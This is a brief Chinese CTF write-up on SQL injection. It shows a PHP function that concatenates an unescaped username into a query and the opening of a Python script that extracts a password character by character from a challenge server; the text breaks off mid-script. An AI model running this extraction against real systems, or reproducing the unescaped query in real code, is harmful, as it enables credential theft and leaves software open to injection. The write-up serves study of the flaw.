CTF中常见注入题源码及脚本分析
1.代码审计发现 这里没有用escape_string,因此存在注入。 1 function show($username){ 2 global $conn; 3 $sql = "select role from `user` where username ='".$username."'"; 4 $res = $conn ->query($sql); 5 if($res->num_rows>0){ 6 echo "$username is ".$res->fetch_assoc()['role']; 7 }else{ 8 die("Don't have this user!"); 9 } 10 } 通过这里注入可以得到pasaword,$usename为被 单引号引起,所以应该首先注意闭合单引号。 pyhton脚本如下: 1 # --coding:utf-8-- import requests 2 url="http://117.34.111.15:89/?action=show" 3 passwd="" 4 lists="1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm" 5 for i in xrange(1,33): 6 print i 7 for p in lists: 8 param={